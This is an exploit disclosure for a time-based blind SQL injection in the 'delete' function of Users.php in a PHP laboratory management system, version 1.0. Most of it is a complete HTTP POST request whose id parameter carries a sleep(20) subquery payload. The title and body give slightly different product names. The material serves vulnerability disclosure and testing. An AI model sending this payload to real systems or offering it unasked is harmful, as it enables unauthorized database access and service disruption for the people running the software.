Simple Laboratory Management System 1.0 SQL Injection

# Exploit Title: Simple Laboratory Management System - Manual Blind Time Based SQL Injection# Exploit Description: A SQL Injection vulnerability in Computer Laboratory Management System v1.0 allows attackers to execute arbitrary SQL commands on the database server which causes the services to delay in response time.# Affected Asset: The "delete_users" function in Users.php inside the Computer Laboratory Management System v1.0 application is vulnerable to Blind Time Based SQL Injection.# Exploit Author: Smitha Bhabal# Date: 2024-06-30# Vendor Homepage: https://www.sourcecodester.com/php/17268/computer-laboratory-management-system-using-php-and-mysql.html# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/php-lms.zip# Version: 1.0# Tested On: Windows 11 Home 22631.3737 + XAMPP 3.3.0 (April 6th 2021)# Reference: https://github.com/payloadbox/sql-injection-payload-listPOST /php-lms/classes/Users.php?f=delete HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-GB,en;q=0.5Accept-Encoding: gzip, deflate, brConnection: keep-aliveCookie: PHPSESSID=1bfs2uc82iaorimhamvfj2qi6uUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: noneSec-Fetch-User: ?1DNT: 1Sec-GPC: 1Priority: u=1Content-Length: 45Content-Type: application/x-www-form-urlencodedid=(select%20*%20from%20(select(sleep(20)))a)